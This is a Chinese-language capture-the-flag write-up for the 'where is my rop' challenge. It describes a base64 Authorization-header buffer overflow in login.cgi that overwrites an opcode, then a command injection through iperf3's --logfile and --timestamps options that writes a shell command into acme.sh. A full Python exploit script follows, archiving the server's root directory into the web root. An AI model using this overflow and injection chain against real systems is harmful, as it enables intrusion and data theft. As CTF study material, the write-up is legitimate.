Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

where is my rop

利用思路

login.cgi

sendlogin

在登录时使用POST和login.cgi交互,其中Authorization头格式是username:加密的password,载荷是session id。

在login.cgi中会使用libCgi.so中的send_cmd函数和basement使用socket交互,但调用函数之前有检查:

session id长度要是24,这里直接按正常流程GET cgi-bin/gen_enc?id获取session id。

session id

header中Authorization的值取”Basic “后的检查:要在base64加密字符集内

checkb64

漏洞点:在login.cgi中main函数对Authorization请求头解析时对内容长度的限制非常宽松,允许最大0x400长度的base64密文输入,而base64解码后存储的位置仅0x200大小,存在溢出,可以篡改_BYTE opcode全局变量

bof
bss_view

base64解密后检查是否有三个冒号分隔,且各个分段长度不超过0x80。

检查通过以后会调用send_cmd函数

send_cmd

由以上条件可知auth_parms一定得是类似Basic AAAA:BBBB:CCCC:DDDD的格式才能执行到send_cmd与basement交互

send_cmd函数功能是向basement监听的/tmp/tpctf.sock建立socket连接并传输这几个参数
send_cmd定义如下:

1
char *__fastcall send_cmd(int opcode, int length, char *payload)

第一个参数代表了要访问basement的功能编号

第二个是payload长度

第三个是指向payload的指针

basement

basement的main函数先读取opcode,然后是length,最后payload , 然后按照opcode调用分别的功能函数

由于我们能完全控制opcode,可以指定调用1-12任意的功能函数

1-5 sqlite3数据库操作

6-9 iperf3, ping, traceroute 命令执行,存在命令注入

10-12 假装使用acme.sh注册证书命令执行, 题目中的acme.sh其实是一个空的脚本文件

所有命令注入的位置都使用isSafeCommandArg()过滤字符

1
2
3
4
5
from ctypes import *
l = CDLL("./libCgi.so")
for i in range(0x1, 0x7f):
if l.isSafeCommandArg(chr(i)):
print(chr(i)), end="")

使用脚本获取的允许的字符集如下:

1
\r\t!"#%'()*+,-./0123456789:=?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]_abcdefghijklmnopqrstuvwxyz{}~%

禁用了所有的管道符、分号、换行等,不能在原指令基础上另起一个新的指令,只能试着改程序的参数

其中iperf3可以传输文件,但是机器不出网,无法连接到服务器端口
但iperf3有可以输出文件的选项

1
--logfile f               send output to a log file

与此同时还支持自定义日志每行最左端时间戳的样式,使得日志每行开头都可控,注入指令后利用#注释可以将无关部分去除,实现给指定文件写入任意shell指令

1
--timestamps<=format>     emit a timestamp at the start of each output line

10-12 功能运行了acme.sh这个sh脚本,考虑先用功能6将要执行的shell指令写入acme.sh,再使用功能10运行acme.sh

尝试 cp /*flag* /var/www/html/flag,本地成功但远程访问/flag时404,怀疑flag文件名有改动,使用

1
tar -zcvf /var/www/html/flag.tar --exclude=/proc --exclude=/sys /

将根目录下除过滤的目录外全部压缩,然后浏览器访问/flag.tar下载即可得到flag
远程flag文件名被改成了the_flaG_is_here056480436103548697634
文件名中的G大写导致了之前没有成功复制文件

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import base64

session = requests.Session()

rl = "61.147.171.105:54863"
# rl = "127.0.0.1"

# 获取session id
url = f"http://{rl}/cgi-bin/gen_enc?id"
response = session.get(url)
id = response.text.replace("<html><body>","").replace("</body></html>", "")

def login(opcode, auth_parms):
url = f"http://{rl}/cgi-bin/login.cgi?login"
data = "id=" + id
auth_parms = auth_parms.ljust(0x200, b"\x00")
auth_parms += bytes([opcode]) + b"\x61"
auth_parms = base64.b64encode(auth_parms).decode()

headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Authorization": "Basic " + auth_parms
}
response = session.post(url, data=data, headers=headers)

login_result = response.headers['X-Redirect-URL']
print(login_result)
print(f"状态码: {response.status_code}")
print()


# 向acme.sh注入指令:压缩根目录所有文件
auth_parms = b"2.1.1.1:1234 --logfile /root/.acme.sh/acme.sh --timestamps=\"tar -zcvf /var/www/html/flag.tar --exclude=/proc --exclude=/sys / #\":CCCC:DDDD\x00"
login(0x6, auth_parms)

# 触发执行acme.sh
auth_parms = b"AAAA:BBBB:CCCC:DDDD\x00"
login(0xb, auth_parms)

评论




本站总访问量为 次 访客数为 人